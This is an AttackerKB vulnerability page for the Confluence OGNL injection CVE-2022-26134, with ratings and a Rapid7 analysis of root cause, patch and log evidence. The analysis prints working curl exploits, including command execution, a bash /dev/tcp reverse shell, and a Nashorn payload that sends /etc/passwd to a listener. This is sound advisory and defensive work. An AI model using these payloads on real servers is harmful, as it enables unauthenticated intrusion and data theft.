Very High
CVE-2022-26134
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2022-26134
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are from 1.3.0 before 7.4.17, from 7.13.0 before 7.13.7, from 7.14.0 before 7.14.3, from 7.15.0 before 7.15.2, from 7.16.0 before 7.16.4, from 7.17.0 before 7.17.4, and from 7.18.0 before 7.18.1.
Add Assessment
Ratings
-
Attacker ValueHigh
-
ExploitabilityVery High
Technical Analysis
CVE-2022-26134 is an unauthenticated and remote OGNL injection that is trivial to exploit. See the Rapid7 analysis for additional details.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueHigh
-
ExploitabilityVery High
Technical Analysis
It’s easy to weaponize, even manually but there are dozens of exploits available. There is a TryHackMe room about CVE-2022-26134 to practice in a lab environment.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportRatings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
On September 5th 2024, CISA released a security bulletin highlighting the cyber-attacks from a Russian actor. In this bulletin CISA confirmed and stated that this vulnerability was abused by the actor to bypass authentication and gain initial access.
Source: https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-249a
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- atlassian
Products
- confluence data center,
- confluence data center 7.18.0,
- confluence server,
- confluence server 7.18.0
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this report- Vendor Advisory (https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html)
- Threat Feed (https://inthewild.io/vuln/CVE-2022-26134)
- News Article or Blog (https://blog.malwarebytes.com/exploits-and-vulnerabilities/2022/06/unpatched-atlassian-confluence-vulnerability-is-actively-exploited/)
- Other: IOT Botnet Exploitation (https://unit42.paloaltonetworks.com/mirai-variant-v3g4/)
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Miscellaneous
Additional Info
Technical Analysis
On June 2, 2022, Atlassian published a security advisory for CVE-2022-26134, a critical unauthenticated remote code execution vulnerability in Confluence Server and Confluence Data Center. The vulnerability was unpatched when it was published on June 2 and is being exploited in the wild. As of June 3, both patches and a temporary workaround are available.
Atlassian updated their advisory on June 3 to reflect that it’s likely that all versions (whether supported or not) of Confluence Server and Data Center are affected, but they have yet to confirm the earliest affected version. Organizations should install patches OR apply the workaround on an emergency basis. If you are unable to mitigate the vulnerability for any version of Confluence, you should restrict or disable Confluence Server and Confluence Data Center instances immediately.
Multiple actors have already exploited this vulnerability. Rapid7 expects exploitation to continue at scale while unpatched servers remain internet facing.
Technical Analysis
CVE-2022-26314 is an unauthenticated and remote OGNL injection vulnerability resulting in code execution in the context of the Confluence server (typically the confluence
user on Linux installations). Given the nature of the vulnerability, internet-facing Confluence servers are at very high risk.
Last year, Atlassian Confluence suffered from a different unauthenticated and remote OGNL injection, CVE-2021-26084. Organizations maintaining an internet-facing Confluence or Data Server may want to consider permanently moving access behind a VPN.
The Vulnerability
As stated, the vulnerability is an OGNL injection vulnerability affecting the HTTP server. The OGNL payload is placed in the URI of an HTTP request. Any type of HTTP method appears to work, whether valid (GET, POST, PUT, etc) or invalid (e.g. “BALH”). In its simplest form, an exploit abusing the vulnerability looks like this (note the following will work on 7.13.6 LTS and below. See the last section in this writeup for information on 7.18.0 proof of concepts):
curl -v http://10.0.0.28:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/r7%22%29%7D/
Above, the exploit is URL-encoded. The exploit encompasses everything from the start of the content location to the last instance of /
. Decoded it looks like this:
${@java.lang.Runtime@getRuntime().exec("touch /tmp/r7")}
Evidence of exploitation can typically be found in access logs because the exploit is stored in the HTTP request field. For example, on our test Confluence (version 7.13.6 LTS), the log file /opt/atlassian/confluence/logs/conf_access_log.<yyyy-mm-dd>.log
contains the following entry after exploitation:
[02/Jun/2022:16:02:13 -0700] - http-nio-8090-exec-10 10.0.0.28 GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/r7%22%29%7D/ HTTP/1.1 302 20ms - - curl/7.68.0
Scanning for vulnerable servers is easy because exploitation allows attackers to force the server to send command output in the HTTP response. For example, the following request will return the response of whoami
in the attacker-created X-Cmd-Response
HTTP field (credit to Rapid7’s Brandon Turner for the exploit below). Note the X-Cmd-Response: confluence
line in the HTTP response:
curl -v http://10.0.0.28:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ * Trying 10.0.0.28:8090... * TCP_NODELAY set * Connected to 10.0.0.28 (10.0.0.28) port 8090 (#0) > GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1 > Host: 10.0.0.28:8090 > User-Agent: curl/7.68.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 302 < Cache-Control: no-store < Expires: Thu, 01 Jan 1970 00:00:00 GMT < X-Confluence-Request-Time: 1654212503090 < Set-Cookie: JSESSIONID=34154443DC363351DD0FE3D1EC3BEE01; Path=/; HttpOnly < X-XSS-Protection: 1; mode=block < X-Content-Type-Options: nosniff < X-Frame-Options: SAMEORIGIN < Content-Security-Policy: frame-ancestors 'self' < X-Cmd-Response: confluence < Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true < Content-Type: text/html;charset=UTF-8 < Content-Length: 0 < Date: Thu, 02 Jun 2022 23:28:23 GMT < * Connection #0 to host 10.0.0.28 left intact
Decoding the exploit in the curl
request shows how this is achieved. The exploit saves the output of the exec
call and uses setHeader
to include the result in the server’s response to the attacker.
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("whoami").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
Root Cause
Our investigation led to the following partial call stack. The call stack demonstrates the OGNL injection starting from HttpServlet.service
to OgnlValueStack.findValue
and beyond.
at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:171) at ognl.SimpleNode.getValue(SimpleNode.java:193) at ognl.Ognl.getValue(Ognl.java:333) at ognl.Ognl.getValue(Ognl.java:310)A at com.opensymphony.xwork.util.OgnlValueStack.findValue(OgnlValueStack.java:141) at com.opensymphony.xwork.util.TextParseUtil.translateVariables(TextParseUtil.java:39) at com.opensymphony.xwork.ActionChainResult.execute(ActionChainResult.java:95) at com.opensymphony.xwork.DefaultActionInvocation.executeResult(DefaultActionInvocation.java:263) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:187) at com.atlassian.confluence.xwork.FlashScopeInterceptor.intercept(FlashScopeInterceptor.java:21) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.atlassian.confluence.core.actions.LastModifiedInterceptor.intercept(LastModifiedInterceptor.java:27) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.atlassian.confluence.core.ConfluenceAutowireInterceptor.intercept(ConfluenceAutowireInterceptor.java:44) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.atlassian.xwork.interceptors.TransactionalInvocation.invokeAndHandleExceptions(TransactionalInvocation.java:61) at com.atlassian.xwork.interceptors.TransactionalInvocation.invokeInTransaction(TransactionalInvocation.java:51) at com.atlassian.xwork.interceptors.XWorkTransactionInterceptor.intercept(XWorkTransactionInterceptor.java:50) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.atlassian.confluence.xwork.SetupIncompleteInterceptor.intercept(SetupIncompleteInterceptor.java:61) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.atlassian.confluence.security.interceptors.SecurityHeadersInterceptor.intercept(SecurityHeadersInterceptor.java:26) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35) at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165) at com.opensymphony.xwork.DefaultActionProxy.execute(DefaultActionProxy.java:115) at com.atlassian.confluence.servlet.ConfluenceServletDispatcher.serviceAction(ConfluenceServletDispatcher.java:56) at com.opensymphony.webwork.dispatcher.ServletDispatcher.service(ServletDispatcher.java:199) at javax.servlet.http.HttpServlet.service(HttpServlet.java:764)
OgnlValueStack
findValue(str) is important as it is the starting point for the OGNL expression to be evaluated. As we can see in the call stack above, TextParseUtil.class
invokes OgnlValueStack.findValue
when this vulnerability is exploited.
public class TextParseUtil { public static String translateVariables(String expression, OgnlValueStack stack) { StringBuilder sb = new StringBuilder(); Pattern p = Pattern.compile("\\$\\{([^}]*)\\}"); Matcher m = p.matcher(expression); int previous = 0; while (m.find()) { String str1, g = m.group(1); int start = m.start(); try { Object o = stack.findValue(g); str1 = (o == null) ? "" : o.toString(); } catch (Exception ignored) { str1 = ""; } sb.append(expression.substring(previous, start)).append(str1); previous = m.end(); } if (previous < expression.length()) sb.append(expression.substring(previous)); return sb.toString(); } }
ActionChainResult.class
calls TextParseUtil.translateVariables
using this.namespace
as the provided expression:
public void execute(ActionInvocation invocation) throws Exception { if (this.namespace == null) this.namespace = invocation.getProxy().getNamespace(); OgnlValueStack stack = ActionContext.getContext().getValueStack(); String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack); String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
Where namespace
is created from the request URI string in com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath
:
public static String getNamespaceFromServletPath(String servletPath) { servletPath = servletPath.substring(0, servletPath.lastIndexOf("/")); return servletPath; }
The result is that the attacker-provided URI will be translated into a namespace, which will then find its way down to OGNL expression evaluation. At a high level, this is very similar to CVE-2018-11776, the Apache Struts2 namespace OGNL injection vulnerability. Just a reminder that there is nothing new in this world.
The patch
On June 3, 2022, Atlassian directed customers to replace xwork-1.0.3.6.jar
with a newly released xwork-1.0.3-atlassian-10.jar
. The xwork jars contain the ActionChainResult.class
and TextParseUtil.class
we identified as the path to OGNL expression evaluation.
The patch makes a number of small changes to fix this issue. For one, namespace
is no longer passed down to TextParseUtil.translateVariables
from ActionChainResult.execute
:
Before:
public void execute(ActionInvocation invocation) throws Exception { if (this.namespace == null) this.namespace = invocation.getProxy().getNamespace(); OgnlValueStack stack = ActionContext.getContext().getValueStack(); String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack); String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
After:
public void execute(ActionInvocation invocation) throws Exception { if (this.namespace == null) this.namespace = invocation.getProxy().getNamespace(); String finalNamespace = this.namespace; String finalActionName = this.actionName;
Atlassian also added SafeExpressionUtil.class
to the xworks
jar. SafeExpressionUtil.class
provides filtering of unsafe expressions, and has been inserted into OgnlValueStack.class
in order to examine expressions when findValue
is invoked. For example:
public Object findValue(String expr) { try { if (expr == null) return null; if (!this.safeExpressionUtil.isSafeExpression(expr)) return null; if (this.overrides != null && this.overrides.containsKey(expr))
Payloads
The OGNL injection primitive gives attackers many options. Volexity’s excellent Zero-Day Exploitation of Atlassian Confluence discusses JSP webshells being dropped to disk. However, Confluence Server should typically execute as confluence
and not root
. The confluence
user is fairly restricted and unable to introduce web shells (to our knowledge).
Java does otherwise provide a wide variety of features that aid in achieving and maintaining execution (both with and without touching disk). It’s impossible to demonstrate all here, but a reverse shell routed through Java’s Nashorn engine is, perhaps, an interesting place for others to explore.
curl -v http://10.0.0.28:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/10.0.0.28/1270%200%3E%261%27%29.start%28%29%22%29%7D/
Decoded, the exploit looks like the following:
${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','bash -i >& /dev/tcp/10.0.0.28/1270 0>&1').start()")}
And results in a reverse shell:
albinolobster@ubuntu:~$ nc -lvnp 1270 Listening on 0.0.0.0 1270 Connection received on 10.0.0.28 37148 bash: cannot set terminal process group (34470): Inappropriate ioctl for device bash: no job control in this shell bash: /root/.bashrc: Permission denied confluence@ubuntu:/opt/atlassian/confluence/bin$ id id uid=1001(confluence) gid=1002(confluence) groups=1002(confluence) confluence@ubuntu:/opt/atlassian/confluence/bin$
Of course, shelling out can be highly risky for attackers if the victim is running some type of threat detection software. Executing in memory only is least likely to get an attacker caught. As an example, we put together a simple exploit that will read /etc/passwd
and exfiltrate it to the attacker without shelling out.
curl -v http://10.0.0.28:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22var%20data%20%3D%20new%20java.lang.String%28java.nio.file.Files.readAllBytes%28java.nio.file.Paths.get%28%27/etc/passwd%27%29%29%29%3Bvar%20sock%20%3D%20new%20java.net.Socket%28%2710.0.0.28%27%2C%201270%29%3B%20var%20output%20%3D%20new%20java.io.BufferedWriter%28new%20java.io.OutputStreamWriter%28sock.getOutputStream%28%29%29%29%3B%20output.write%28data%29%3B%20output.flush%28%29%3B%20sock.close%28%29%3B%22%29%7D/
When decoded, the reader can see that we again have relied on the Nashorn scripting engine.
${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("var data = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get('/etc/passwd')));var sock = new java.net.Socket('10.0.0.28', 1270); var output = new java.io.BufferedWriter(new java.io.OutputStreamWriter(sock.getOutputStream())); output.write(data); output.flush(); sock.close();")}
Again, the attacker is listening for the exfiltration which looks, as you’d expect, like /etc/passd
:
albinolobster@ubuntu:~$ nc -lvnp 1270 Listening on 0.0.0.0 1270 Connection received on 10.0.0.28 37162 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin … truncated …
Finally, note that the exploit could be entirely URI-encoded as well. Writing any type of detection logic that relies on just the ASCII form will be quickly bypassed.
Proof of concept for 7.15+
The above analysis was written for 7.13.6 LTS (what we believe to be the most likely enterprise target). Exploits for Confluence versions 7.15+ are a little different because Atlassian introduced an OGNL expression evaluation of sorts. The following curl proof of concept will exfiltrate an executed command on Confluence 7.18.0 and below. The command below executes whoami
and will store it in the X-Cmd-Response
HTTP header.
curl -v http://10.0.0.247:8090/%24%7BClass.forName%28%22com.opensymphony.webwork.ServletActionContext%22%29.getMethod%28%22getResponse%22%2Cnull%29.invoke%28null%2Cnull%29.setHeader%28%22X-Cmd-Response%22%2CClass.forName%28%22javax.script.ScriptEngineManager%22%29.newInstance%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22var%20d%3D%27%27%3Bvar%20i%20%3D%20java.lang.Runtime.getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%3B%20while%28i.available%28%29%29d%2B%3DString.fromCharCode%28i.read%28%29%29%3Bd%22%29%29%7D/
Example:
albinolobster@ubuntu:~$ curl -v http://10.0.0.28:8090/%24%7BClass.forName%28%22com.opensymphony.webwork.ServletActionContext%22%29.getMethod%28%22getResponse%22%2Cnull%29.invoke%28null%2Cnull%29.setHeader%28%22X-Cmd-Response%22%2CClass.forName%28%22javax.script.ScriptEngineManager%22%29.newInstance%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22var%20d%3D%27%27%3Bvar%20i%20%3D%20java.lang.Runtime.getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%3B%20while%28i.available%28%29%29d%2B%3DString.fromCharCode%28i.read%28%29%29%3Bd%22%29%29%7D/ * Trying 10.0.0.28:8090... * TCP_NODELAY set * Connected to 10.0.0.28 (10.0.0.28) port 8090 (#0) > GET /%24%7BClass.forName%28%22com.opensymphony.webwork.ServletActionContext%22%29.getMethod%28%22getResponse%22%2Cnull%29.invoke%28null%2Cnull%29.setHeader%28%22X-Cmd-Response%22%2CClass.forName%28%22javax.script.ScriptEngineManager%22%29.newInstance%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22var%20d%3D%27%27%3Bvar%20i%20%3D%20java.lang.Runtime.getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%3B%20while%28i.available%28%29%29d%2B%3DString.fromCharCode%28i.read%28%29%29%3Bd%22%29%29%7D/ HTTP/1.1 > Host: 10.0.0.28:8090 > User-Agent: curl/7.68.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 302 < Cache-Control: no-store < Expires: Thu, 01 Jan 1970 00:00:00 GMT < X-Confluence-Request-Time: 1654538600571 < Set-Cookie: JSESSIONID=902E8BB49E50DDF8C600DC43F1C573D2; Path=/; HttpOnly < X-XSS-Protection: 1; mode=block < X-Content-Type-Options: nosniff < X-Frame-Options: SAMEORIGIN < Content-Security-Policy: frame-ancestors 'self' < X-Cmd-Response: confluence < Location: /login.action?os_destination=%2F%24%7BClass.forName%28%22com.opensymphony.webwork.ServletActionContext%22%29.getMethod%28%22getResponse%22%2Cnull%29.invoke%28null%2Cnull%29.setHeader%28%22X-Cmd-Response%22%2CClass.forName%28%22javax.script.ScriptEngineManager%22%29.newInstance%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22var+d%3D%27%27%3Bvar+i+%3D+java.lang.Runtime.getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%3B+while%28i.available%28%29%29d%2B%3DString.fromCharCode%28i.read%28%29%29%3Bd%22%29%29%7D%2Findex.action&permissionViolation=true < Content-Type: text/html;charset=UTF-8 < Content-Length: 0 < Date: Mon, 06 Jun 2022 18:03:20 GMT < * Connection #0 to host 10.0.0.28 left intact
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: